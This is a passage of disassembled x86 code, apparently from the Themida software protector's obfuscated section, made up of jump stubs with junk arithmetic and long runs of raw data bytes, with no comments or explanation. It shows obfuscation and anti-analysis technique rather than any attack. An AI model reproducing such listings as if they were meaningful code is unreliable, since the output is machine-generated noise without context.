		dd 34290000h, 86D9E924h, 0CB01FFFFh, 69C3EB81h,	1EE95CE2h
		dd 29000026h, 0E95897F8h, 9EAh,	0E904EA83h, 2084h, 0E902C083h
		dd 0FFFFD445h, 0F289DE89h, 2434FF5Eh, 0FFFF5CE9h, 1C2405FFh
		dd 0D001115Dh, 4EC81h, 0C890000h, 1C24B924h, 0C829115Dh
		dd 4EC8359h, 0BD242C89h, 11B5251Ch, 3E9E801h, 89000068h
		dd 24148BD1h, 4C481h, 0E9510000h, 783Eh
; ---------------------------------------------------------------------------


loc_56E0C0:				; CODE XREF: Themida_:0056F2B6j
		mov	ebp, eax
		mov	eax, [esp]
		jmp	loc_571A70
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0C380C328h, 50515808h, 2E9ABB0h, 0E9000003h, 0FFFF2631h
		dd 2474FF57h, 48F5F04h,	0B861E924h, 0F2BAFFFFh,	0E9422448h
		dd 0FFFF69CAh, 8B0F15BBh, 5BD80121h, 0BF57D801h, 76755AA0h
		dd 0C103EFC1h, 0BE5607E7h, 2F134E19h, 0CBE9F701h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56E11F:				; CODE XREF: Themida_:00571BDCj
		shr	eax, 12h
		xor	eax, ecx
		push	59ADh
		mov	[esp], eax
		push	15F7h
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		push	esi
		push	ebp
		jmp	loc_571A5E
; ---------------------------------------------------------------------------


loc_56E143:				; CODE XREF: Themida_:00568B16j
		inc	bl
		jmp	loc_56A262
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 57CB1FF6h, 0B951C601h, 683C150Dh, 4107E9C1h,	1EE94141h
		dd 8700007Eh, 515C2414h, 5B71E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56E16E:				; CODE XREF: Themida_:0056CE31j
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	34FB1341h
		jmp	loc_566F76
; ---------------------------------------------------------------------------
aZsssu		db 'ZSé‘u',0
		align 2
		dw 1C31h
aSrd		db '$éRd',0
		align 2
		dw 34FFh
aXhwt		db '$Xhwt',0
		dw 0E900h
		dd 51A1h, 5224148Bh, 0C2815A54h, 4, 4C281h, 14330000h
		dd 24143124h, 5C241433h, 0E904EC83h, 0FFFF5F05h, 5C241C33h
		dd 9CB25258h, 0DAF6CAFEh, 3413B050h, 3AFDE914h,	0DF89FFFFh
		dd 5B5FFE89h, 5108E6C1h, 3CC0E9h
		db 0
; ---------------------------------------------------------------------------


loc_56E1ED:				; CODE XREF: Themida_:00560E0Aj
		pop	ebx
		push	ax
		jmp	loc_56F494
; ---------------------------------------------------------------------------
aBaLkuuTKesZ	db 'í²‹ªîU½â(ŠEé½z',0
		align 2
		dw 0EF81h
		dd 9E36DFEh, 4B8505Ah, 1000000h, 62FEE9C7h, 0C4810000h
		dd 4, 5907EF81h, 0C70129C7h, 3FBCE9h, 4C48100h,	8F000000h
		dd 6EE92404h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56E23B:				; CODE XREF: Themida_:0056C807j
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	eax, 5F942328h
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_568C4F
; ---------------------------------------------------------------------------
		dw 0D2BAh
		dd 507E8103h, 4D48AAB8h, 2EA9255Bh, 2C252A01h, 3547096Bh
		dd 3A617E65h, 0E958C229h, 0FFFF3989h, 0CEE9DD30h, 5900007Bh
		dd 0FF6AF4E9h, 5D5455FFh, 0FF700DE9h, 82E95CFFh, 89FFFF24h
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 2414895Ch, 8897E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E2AE:				; CODE XREF: Themida_:00575827j
		push	3C02h
		mov	[esp], edi
		push	dword ptr [esp]
		jmp	loc_56C88D
; ---------------------------------------------------------------------------


loc_56E2BE:				; CODE XREF: Themida_:00575197j
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		push	edx
		mov	edx, 4
		mov	ebp, edx
		pop	edx
		sub	edi, 0EDF3E90h
		add	edi, ebp
		add	edi, 0EDF3E90h
		pop	ebp
		jmp	loc_5642BC
; ---------------------------------------------------------------------------
		dd 0C15AD631h, 23E904E6h, 0BA000035h, 8604CD7h,	0EF6AEA81h
		dd 0D5292FB0h, 9BCAE95Ah, 48BFFFFh, 4C48124h, 51000000h
		dd 0D0E9E189h, 8BFFFF9Dh, 48B2424h, 362B6824h, 3C890000h
		dd 4EC8124h, 0E9000000h, 28BAh,	4EC815Eh, 0E9000000h, 121Dh
; ---------------------------------------------------------------------------


loc_56E340:				; CODE XREF: Themida_:00561A0Dj
		sub	edi, 0B01DD696h
		jmp	loc_570C48
; ---------------------------------------------------------------------------


loc_56E34B:				; CODE XREF: Themida_:005752C9j
		push	edx
		push	ebp
		mov	ebp, 35F816FDh
		neg	ebp
		neg	ebp
		push	edx
		mov	edx, 0BB8AD951h
		sub	ebp, edx
		pop	edx
		mov	edx, ebp
		pop	ebp
		shl	edx, 5
		add	edx, 10EA7504h
		sub	[esp+8], edx
		jmp	loc_56C756
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 23E92404h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E37F:				; CODE XREF: Themida_:005618C8j
		add	esi, ebx
		pop	ebx
		push	ebx
		jmp	loc_5723E5
; ---------------------------------------------------------------------------
		dd 42474FFh, 83240C8Bh,	48F04C4h, 0CAE1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E39A:				; CODE XREF: Themida_:00574F61j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_565612
; ---------------------------------------------------------------------------
aSop		db '\é®p',0
		dw 5700h
		dd 0FFD92AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E3B5:				; CODE XREF: Themida_:0056138Aj
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_560715
; ---------------------------------------------------------------------------
		dw 30ACh
		dd 3E98E9D8h, 0D929FFFFh, 24348B5Bh, 0FFB627E9h, 58C188FFh
		dd 28A7C380h, 0A7EB80CBh, 0FF2599E9h, 8BBD55FFh, 8125FD1Ch
		dd 5015FCEDh, 0C7E58111h, 450C7945h, 7A79CD81h,	0ED815B47h
		dd 400014B8h, 6AAE9h, 4C48300h,	157BEA81h, 0D101481Ah
		dd 8124148Bh, 4C4h, 2C18100h, 33000000h, 0E2E9240Ch
		db 41h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E437:				; CODE XREF: Themida_:00562CF8j
		pop	edi
		push	ecx
		jmp	loc_563BB7
; ---------------------------------------------------------------------------


loc_56E43E:				; CODE XREF: Themida_:00572226j
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	edi
		jmp	loc_56CEA5
; ---------------------------------------------------------------------------
		dd 0BD242C89h, 675F70CEh, 0E5C1DDF7h, 17B95105h, 0E934EE1Dh
		dd 0FFFF48C6h, 595D008Fh, 582434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	73F5h
		mov	[esp], eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	1A0Bh
		jmp	loc_564623
; ---------------------------------------------------------------------------
		db 0C1h, 0E8h, 4
		dd 4DF5B951h, 0E181549Dh, 0C5860D4h, 0B2E9D1F7h, 8BFFFF38h
		dd 5768240Ch, 89000012h, 0E189240Ch, 0FFAE98E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E4C5:				; CODE XREF: Themida_:00573A01j
		mov	[esp], esi
		mov	esi, 2C70228Ch
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 3C8508B6h
		add	ecx, 0EFEB19D2h
		xor	esi, ecx
		jmp	loc_575E0C
; ---------------------------------------------------------------------------


loc_56E4E8:				; CODE XREF: Themida_:00565449j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_566273
; ---------------------------------------------------------------------------
		db 1
		dd 0EA015FFAh, 2490EA81h, 535D13ECh, 6B116855h,	3C890000h
		dd 1EEF6824h, 34FF5EB9h, 0C4835F24h, 66F78104h,	0E959081Ah
		dd 0FFFF89C6h, 4C3815Ch, 81000000h, 4C3h, 241C3300h, 33241C31h
		dd 685C241Ch, 6DDDh, 0B8240489h, 4, 5658C501h, 8B28FFBEh
		dd 0F7D68753h, 52D687D2h, 74D6FEBAh, 2597E9ACh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56E55E:				; CODE XREF: Themida_:005738F3j
		add	dword ptr [esp], 5CB546F9h
		jmp	loc_56D494
; ---------------------------------------------------------------------------
		dw 5C01h
		dd 44810424h, 61710424h, 1C8B7190h, 4C48124h, 0FF000000h
		dd 0F9E92434h, 0B1FFFF4Eh, 0ACB0EAh, 0B3E959C8h, 66FFFF61h
		dd 48B6658h, 2C48124h, 0C0000000h, 0EAC006E2h, 80F28003h
		dd 0E95AD128h, 630Bh, 81FA015Bh, 0A95698C2h, 0EDE95F71h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E5BF:				; CODE XREF: Themida_:005652F2j
		add	ebp, edx
		pop	edx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		pop	dword ptr [edi+24h]
		push	dword ptr [esp]
		pop	esi
		push	2126h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_563540
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 4, 4C581h, 2C870000h, 2B32E924h, 248BFFFFh, 3DE06824h
		dd 34890000h, 2474FF24h, 0F9DFE904h, 2489FFFFh,	24048324h
		dd 5689E904h, 0C181FFFFh, 0CA617E7h, 2A49BB53h,	0D9094402h
		dd 0E708E95Bh, 0C781FFFFh, 51A255FEh, 0BA52DF01h, 51A255FEh
		dd 0ABE9D729h
		db 53h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E63F:				; CODE XREF: Themida_:00563586j
		mov	ebx, 0DBD3F26h
		not	ebx
		jmp	loc_56F859
; ---------------------------------------------------------------------------


loc_56E64B:				; CODE XREF: Themida_:00565E90j
		add	eax, 34C96610h
		jmp	loc_564B17
; ---------------------------------------------------------------------------


loc_56E655:				; CODE XREF: Themida_:0056EC45j
		sub	ecx, 3F941524h
		sub	ecx, 0E2FF8102h
		jmp	loc_5710DA
; ---------------------------------------------------------------------------
		dw 0FA01h
		dd 7168EA81h, 8B5F7281h, 24148B02h, 73BDE9h, 24048300h
		dd 55575E04h, 154962BDh, 0EBE9E932h, 2C8BFFFFh,	0E9545524h
		dd 6582h, 24048B66h, 738568h, 4714E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E6A2:				; CODE XREF: Themida_:00566D46j
		mov	[esp], edi
		mov	edi, 16B92EBFh
		add	edi, 0E946D145h
		sub	edx, 52AF0887h
		add	edx, edi
		add	edx, 52AF0887h
		pop	edi
		push	edx
		push	48EAh
		push	esp
		jmp	loc_5734CE
; ---------------------------------------------------------------------------
		db 0B8h
		dd 9A509CF4h, 4407C181h, 2BE9397Ah, 56FFFFF9h, 8D68E689h
		dd 89000052h, 76BF243Ch, 56158474h, 772BD6BEh, 0CDC68127h
		dd 29FC1B51h, 51535EF7h, 81416168h, 0D1F7590Eh,	12E98141h
		dd 567DC443h, 950384BEh, 5EEC139h, 2D2DC681h, 0F6813295h
		dd 7621BA2Eh, 4DE9F129h
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E727:				; CODE XREF: Themida_:0056CBEAj
		push	0B9Eh
		mov	[esp], eax
		mov	ah, 56h
		mov	ch, 15h
		jmp	loc_56A9AA
; ---------------------------------------------------------------------------
		dd 0DDF38059h, 805BDA00h, 0EA8049E2h, 5AD000D0h, 0EC81C330h
		dd 4, 53241489h, 0DA88C388h, 8850515Bh,	0E9C188D0h, 232Fh
		dd 4240481h, 0E9000000h, 0FFFF98E3h, 0F702E8C1h, 0E6BB53D8h
		dd 31C2E1E0h, 0C5295BD8h, 0E9EA2958h, 5875h, 5C241C87h
		dd 4C681h, 0C6830000h, 24343304h, 0E9243431h, 0FFFFBAA7h
; ---------------------------------------------------------------------------


loc_56E7A0:				; CODE XREF: Themida_:00561CC2j
		add	esi, 5C0C195Dh
		add	esi, 6A157392h
		add	esi, edx
		sub	esi, 6A157392h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 5C0C195Dh
		sub	esi, edx
		pop	edx
		mov	edx, [esp]
		add	esp, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_571B82
; ---------------------------------------------------------------------------
		db 0ACh
		dd 0FF8339E9h, 4C483FFh, 2B62BA52h, 0D0293CEFh,	68D8015Ah
		dd 2B7Dh, 0FFCD34E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E7FD:				; CODE XREF: Themida_:0056C05Fj
		mov	edx, esp
		push	esi
		mov	esi, 421118ACh
		jmp	loc_56E97F
; ---------------------------------------------------------------------------
		dw 0DAF6h
		dd 0E968C280h, 42F6h, 0E6E9C6FEh
		db 30h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E81B:				; CODE XREF: Themida_:0056B958j
		pop	ebp
		push	ecx
		mov	ecx, 0FFFFFFFFh
		sub	ebp, ecx
		jmp	loc_573C70
; ---------------------------------------------------------------------------
		db 83h,	0EAh, 2
		dd 7806E9h, 242CD200h, 1EDBE99Ch, 159FFFFh, 0D8015DE8h
		dd 2D6F552Dh, 0D31E901h, 84680000h, 5A617671h, 70B0BB53h
		dd 0DBF731E8h, 79E7CB81h, 0D3F71FF0h, 0FC8DEB81h, 0DA21EBFAh
		dd 8C4CE95Bh, 0EA81FFFFh, 591F3F12h, 0C2015858h, 710668h
		dd 0CC53E900h, 0E789FFFFh, 0FFAFA4E9h, 0E38953FFh, 4C381h
		dd 0C3830000h, 241C8704h, 8BC8305Ch, 0C483240Ch, 45EB6804h
		dd 1C890000h, 6699B724h, 72E3E950h, 0F1010000h,	4ADEC181h
		dd 0E95E41C6h, 0FFFFF191h
; ---------------------------------------------------------------------------


loc_56E8C0:				; CODE XREF: Themida_:00575280j
		mov	edi, 6E1E6C40h
		sub	edi, 3C56367Dh
		shr	edi, 4
		xor	edi, 0FCC37EACh
		xor	ebp, edi
		jmp	loc_569650
; ---------------------------------------------------------------------------


loc_56E8DB:				; CODE XREF: Themida_:00561FF6j
		pop	ecx
		add	ecx, 4
		jmp	loc_568131
; ---------------------------------------------------------------------------
		db 89h
		dd 1BBF57E5h, 810B9215h, 9E388CC7h, 7E7C10Eh, 0EBBA52h
		dd 0E2C14E8Bh, 2766E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56E906:				; CODE XREF: Themida_:005682FBj
		xchg	ebp, [esp]
		pop	esp
		neg	dl
		sub	dl, 1
		shl	dl, 8
		add	dl, 1Ah
		push	eax
		push	ebx
		push	eax
		mov	ah, dl
		jmp	loc_563622
; ---------------------------------------------------------------------------
		db 8Bh
		dd 2C892424h, 0FFBDE924h, 5166FFFFh, 1DE3E99Ch,	5356FFFFh
		dd 32FA068h, 3FBFE923h,	0ED81FFFFh, 83E07215h, 238DEA81h
		dd 0EA01273Dh, 238DC281h, 0E95D273Dh, 0FFFFA3C0h
; ---------------------------------------------------------------------------


loc_56E958:				; CODE XREF: Themida_:00568B80j
					; Themida_:0057124Cj
		sub	esp, 4
		mov	[esp], ebx
		xor	dword ptr [esp], 34B151BBh
		mov	eax, [esp]
		push	0DDEh
		mov	[esp], edi
		jmp	loc_571853
; ---------------------------------------------------------------------------
		dd 96E9FB01h
		db 41h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E97F:				; CODE XREF: Themida_:0056E805j
		xor	esi, 421118A8h
		add	edx, esi
		jmp	loc_56A4D1
; ---------------------------------------------------------------------------


loc_56E98C:				; CODE XREF: Themida_:00569017j
		push	cx
		push	bx
		push	258Ah
		mov	[esp], ecx
		push	eax
		jmp	loc_570C40
; ---------------------------------------------------------------------------


loc_56E99E:				; CODE XREF: Themida_:00564425j
		push	dword ptr [esp]
		pop	esi
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 4
		push	ebp
		mov	ebp, 6A446B0Dh
		jmp	loc_5623D3
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4C281h, 0C2810000h, 4, 5C241487h, 4C381h, 0C3810000h
		dd 4, 0E9241C33h, 0FFFF2DCFh
; ---------------------------------------------------------------------------


loc_56E9DC:				; CODE XREF: Themida_:00563FB4j
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		push	eax
		push	7DCEh
		mov	[esp], ebx
		mov	ebx, 4
		mov	eax, ebx
		jmp	loc_5725F6
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 4D541514h, 0E924148Bh, 0FFFFF074h
; ---------------------------------------------------------------------------


loc_56EA08:				; CODE XREF: Themida_:0056661Cj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, ebx
		mov	edi, ebp
		pop	ebp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_573706
; ---------------------------------------------------------------------------
		db 66h,	0B8h, 5Eh
		dd 0BF665764h, 72E9144Eh, 96FFFFB2h, 0B12C355Eh, 0C101F7CDh
		dd 2E1C158h, 0FF2A24E9h, 4C281FFh, 83000000h, 148704C2h
		dd 4822E924h, 0F781FFFFh, 68B9021Ah, 2BE95552h
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EA5F:				; CODE XREF: Themida_:0056F6E1j
		sub	ah, 1
		shr	ah, 5
		add	ah, 83h
		push	cx
		mov	ch, 0BFh
		jmp	loc_564563
; ---------------------------------------------------------------------------


loc_56EA71:				; CODE XREF: Themida_:0056FE3Fj
		and	bh, 7Bh
		inc	bh
		add	bh, 13h
		sub	al, bh
		pop	ebx
		push	ecx
		mov	cl, 4Eh
		jmp	loc_56DFD6
; ---------------------------------------------------------------------------


loc_56EA84:				; CODE XREF: Themida_:0056C5CCj
		mov	esi, edx
		mov	ecx, esi
		pop	esi
		pop	edx
		dec	ecx
		sub	ecx, 3791FB8h
		add	ebx, ecx
		jmp	loc_5611DE
; ---------------------------------------------------------------------------
		dd 0BE243489h, 2, 875EF029h, 248B2404h,	4896624h, 1C63E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EAB2:				; CODE XREF: Themida_:00564DCDj
		mov	edi, 0A612B75h
		add	eax, edi
		pop	edi
		jmp	loc_5727C8
; ---------------------------------------------------------------------------
		db 29h
		dd 512D5DE8h, 8B150B3Eh, 0EC832414h, 24048904h,	8D68E089h
		dd 0E9000021h, 0FFFF62AEh
; ---------------------------------------------------------------------------


loc_56EADC:				; CODE XREF: Themida_:0056FB0Bj
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 2ED8046Dh
		sub	esp, 4
		mov	[esp], edi
		not	dword ptr [esp]
		pop	edi
		or	edi, 2F1C2D84h
		push	esi
		mov	esi, 0FF3FFF92h
		jmp	loc_56213E
; ---------------------------------------------------------------------------
		dd 51CE95Ah, 0EF810000h, 3AD7EA5h, 7FA9BE56h, 0D6F72443h
		dd 3DBD5551h, 0E9542653h, 0FFFFBC58h, 4406DCB9h, 2444813Dh
		dd 964E6D04h, 244C293Bh, 246C8104h, 964E6D04h, 2DB9E93Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EB42:				; CODE XREF: Themida_:0056CE3Cj
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	6C63h
		mov	[esp], ecx
		push	4791h
		jmp	loc_5725B9
; ---------------------------------------------------------------------------
aPbUofBUofxbC6b	db 'P,$~uof[Ã~uofXÅÙ(ç6Åæ',0
		db 'Ö',0
		db 1, 0DDh, 0E9h
		dd 0FFFF2734h, 1CEBC681h, 0F1894C25h, 2BA525Eh,	89CFDCBFh
		dd 0CD015AD5h, 0DFE95059h, 8BFFFFA4h, 0C4812414h, 4, 32B4F181h
		dd 0E1C1625Bh, 4EC8104h, 89000000h, 14BB241Ch, 0F701A950h
		dd 0C0EB81DBh, 8122776Bh, 9D67D1EBh, 0C3814347h, 0BDE48C84h
		dd 0E95BD929h, 0FFFF8BB1h, 1A6168h, 24148900h, 8E1759BAh
		dd 0E9D62979h, 0FFFFBBF7h, 5AD73158h, 772ABB53h, 0CB8117D1h
		dd 3CE0890h, 2D80EB81h,	0C3814C0Fh, 62D5CE24h, 815BDD29h
		dd 0C409F5C5h, 0E9FD0152h, 63A4h, 1ED81h, 0F5810000h, 0B8A58CACh
		dd 0FFDC781h, 0EF015892h, 0FFDEF81h, 535D5892h,	468h, 91E95B00h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EC3F:				; CODE XREF: Themida_:0056175Aj
		add	ecx, 2F364A5Ah
		jmp	loc_56E655
; ---------------------------------------------------------------------------
		dw 0E781h
		dd 3B846DA6h, 8104EFC1h, 0F318B8EFh, 4EF814Bh, 0E9AF25B3h
		dd 60A0h, 0FE14E380h, 80CBFEC3h, 0C38040C3h, 634CE929h
		dd 0C681FFFFh, 770D193Bh, 0FFC8C4E9h, 63C6BDFFh, 0DDF76F52h
		dd 74E9D5F7h, 58FFFF63h, 5B0EBA52h, 0EA815899h,	1EFC76F0h
		dd 0FFCC50E9h, 81E389FFh, 4C3h,	4EB8100h, 87000000h, 0C8E9241Ch
		dd 51FFFFE3h, 0FFB776E9h, 8BD701FFh, 0C4812414h, 4, 5E47E9h
		dd 1A43E900h, 0C483FFFFh, 40F76804h, 2C890000h,	4BD24h
		dd 6AE90000h
		db 3Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56ECE7:				; CODE XREF: Themida_:0057349Dj
		push	dword ptr [esp+4]
		jmp	loc_56C806
; ---------------------------------------------------------------------------
		dd 8324048Bh, 0ACE904C4h, 0C1FFFF3Bh, 0DDE908E0h, 43000021h
		dd 380BB850h, 0F7486486h, 5160DD0h, 0E0C114A9h,	53433508h
		dd 0BB5359C8h, 0BED4886Dh, 95BD801h, 24048BC3h,	0FF6C78E9h
		dd 0A36858FFh, 8900000Ch, 27E92414h, 95FFFF46h,	4AFDE958h
		dd 0D3F7FFFFh, 9802C381h, 0DE31B8CFh, 5EF0015Bh, 3A3768h
		dd 24048900h, 42474FFh,	24048F58h, 0EBE9555Ch, 89FFFF5Fh
		dd 414CE9E2h, 0C483FFFFh, 221E2D04h, 0D0297B13h, 13221E05h
		dd 2434FF7Bh, 0FFF41FE9h, 29C781FFh, 5316057Fh,	0DB2D1BBBh
		dd 850EE90Dh, 0E189FFFFh, 4C181h, 89510000h, 4C181E1h
		dd 68000000h, 1853h, 0E9243489h, 40DFh,	9CC8845Ch, 0FF1958E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EDBD:				; CODE XREF: Themida_:005652B3j
		add	al, dl
		sub	al, 0C9h
		mov	edx, [esp]
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		jmp	loc_574581
; ---------------------------------------------------------------------------
		dd 81E18951h, 4C1h, 4C18300h, 8B240C87h, 2BE92424h, 5C00006Eh
		dd 88C28852h, 34FF5AD7h, 0C4835824h, 62FE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56EDFE:				; CODE XREF: Themida_:0056A620j
		dec	ebp
		or	ebp, 0A5D0786h
		jmp	loc_5708A5
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 62BB12D4h, 0B59B850h, 9E356D7Dh, 4856DA73h, 0FFD0E1E9h
		dd 4EC81FFh, 89000000h,	4832424h, 348B0424h, 4C48124h
		dd 81000000h, 4C6h, 4B95100h, 1000000h,	343359CEh, 24343124h
		dd 0E9243433h, 24CBh, 5C241487h, 5E08950h, 4, 8704C083h
		dd 815C2404h, 53265CC5h, 81CD016Bh, 53265CEDh, 0FD68596Bh
		dd 8900005Dh, 8EE9242Ch, 6800005Ah, 424Bh, 0FF9510E9h
		dd 0FB8958FFh, 0FF4D62E9h, 2434FFFFh, 5E9AE9h, 24348900h
		dd 1B30E9h, 5FFA3100h, 20B5E950h, 0B850FFFFh, 0DF7AC605h
		dd 0D2E9C729h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EEBB:				; CODE XREF: Themida_:00572CD8j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_56D2D7
; ---------------------------------------------------------------------------
		dw 8158h
		dd 0A05D71CBh, 5ACB815Fh, 0E93B6C06h, 0FFFFE1ADh, 32376851h
		dd 4CE90000h
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EEE3:				; CODE XREF: Themida_:005702A5j
		push	1DD3h
		mov	[esp], edx
		jmp	loc_56F904
; ---------------------------------------------------------------------------
		dd 715075BFh, 8BFD016Bh, 0C481243Ch, 4,	7F32B951h, 0CD2111E8h
		dd 7F176859h, 0C890000h, 0E20EB924h, 0CD010C9Dh, 0FFE83159h
		dd 815D2434h, 4C4h, 8EC38100h, 0E952D41Dh, 131h, 350DB4B9h
		dd 903DE977h, 0EF81FFFFh, 42A41D37h, 0BA525B5Eh, 4, 3CD2E9h
		dd 2434FF00h, 0E1895159h, 4B850h, 0C1010000h, 4A026858h
		dd 4890000h, 2222B824h,	122549B3h, 0E9355838h, 69A0h, 243C895Ch
		dd 2E5B68h, 24248900h, 4BE56h, 0EE90000h, 31FFFF45h, 0F00158C6h
		dd 51FE2D5Eh, 0C8293570h, 51FEBB53h, 0D8013570h, 0FFB253E9h
		dd 50535CFFh, 0FFBC2FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EFAD:				; CODE XREF: Themida_:00569778j
		mov	esi, edi
		jmp	loc_566640
; ---------------------------------------------------------------------------


loc_56EFB4:				; CODE XREF: Themida_:00567235j
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 54C91F94h
		shr	edx, 6
		jmp	loc_5649F6
; ---------------------------------------------------------------------------
aZhuo		db 'ZhîO',0
		align 2
		dw 1489h
		dd 815A5424h, 4C2h, 4C28300h, 0FFF182E9h, 4C481FFh, 52000000h
		dd 8853CE88h, 873C88F7h, 0E9595A5Bh, 0FFFF171Dh, 4149D9F7h
		dd 0BA7FE981h, 82E9B1DDh, 0ADFFFFDEh, 6B6CBA52h, 0BA525A50h
		dd 660E7239h, 0FF600BE9h, 0FA4235FFh, 0C129F9D3h, 3441E958h
		dd 534A0000h, 148B5B52h, 4C48124h, 50000000h, 526F67B8h
		dd 7DFC2D6Ah, 4D0D6ED6h, 0E97F4D1Ch, 4B53h, 3345E981h
		dd 0C1813FAEh, 65DC06DBh, 0C5B3E981h, 0C821BF8Eh, 0FF7837E9h
		dd 0F8EB81FFh, 8113A268h, 971313C3h, 68C38139h,	15AB10Fh
		dd 66B850C3h, 50DF136h,	4CBFD902h, 8158C329h, 971313EBh
		dd 0F8C38139h, 5213A268h, 81E28952h, 4C2h, 4EA8300h, 0FF66F8E9h
		dd 166FE9FFh, 28FFFFFh,	0FFEAE6E9h, 0BAC381FFh,	520C6B5Ch
		dd 0B533A7BAh, 5AD3310Ah, 190FC681h, 0EE81040Fh, 1A19620Dh
		dd 608BC681h, 0DE011FFFh, 608BEE81h, 0D7E91FFFh, 88000039h
		dd 24048BE1h, 5B04C483h, 3908E9h, 243C8B00h, 4C481h, 9C050000h
		dd 0E9DB1B82h, 0FFFFFA61h, 3998BF66h, 66D7F766h, 0A047EF81h
		dd 5FFA8966h, 0CAEA8166h, 0E2D16605h, 0FF665266h, 5A66240Ch
		dd 28E28166h, 0D2F76643h, 0E8E94266h, 81000016h, 0CB8211F5h
		dd 5DE931E4h, 0FFA4A7E9h, 53DAF7FFh, 453D99BBh,	5BDA2965h
		dd 3EC8F281h, 58520E35h, 8124148Bh, 4C4h, 103A6800h, 14890000h
		dd 59C1BA24h, 0D4E946D6h, 52FFFF92h, 77B3E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F16E:				; CODE XREF: Themida_:005697ACj
		mov	ebx, 0
		add	ebx, eax
		add	[ebx], ebp
		pop	ebx
		mov	eax, [esp]
		jmp	loc_5660A7
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 4, 0E95FFB01h, 51FDh, 0E2004DB4h, 8124048Bh
		dd 4C4h, 9F685000h, 89000025h, 0BE9241Ch, 0BBFFFFC4h, 4
		dd 76E9DA01h, 6800002Dh, 2, 0E9EF015Dh,	24A5h, 5008E8C1h
		dd 0E9240CFFh, 0FFFFDAACh, 9C241CF6h, 0FF153CE9h, 3DC981FFh
		dd 834E0C12h, 0D1F7FFE9h, 828BBF57h, 0F901A045h, 39BA525Fh
		dd 0F76AD721h, 4EAC1DAh, 789FC281h, 0D6012D4Bh,	4BC6815Ah
		dd 2975EA63h, 72E955CEh, 31FFFFFAh, 1C33241Ch, 241C3124h
		dd 3CD7E953h, 487FFFFh,	54505C24h, 8124048Bh, 4C4h, 26946800h
		dd 1C890000h, 1804E924h, 0E3890000h, 4C381h, 0EB810000h
		dd 4, 5C241C87h, 0E9243C89h, 0FFFF72CAh, 5C243487h, 83242489h
		dd 0FF042404h, 3C8B2434h, 4C48324h, 4C481h, 0E9530000h
		dd 0FFFFD4D6h
; ---------------------------------------------------------------------------


loc_56F274:				; CODE XREF: Themida_:00564B07j
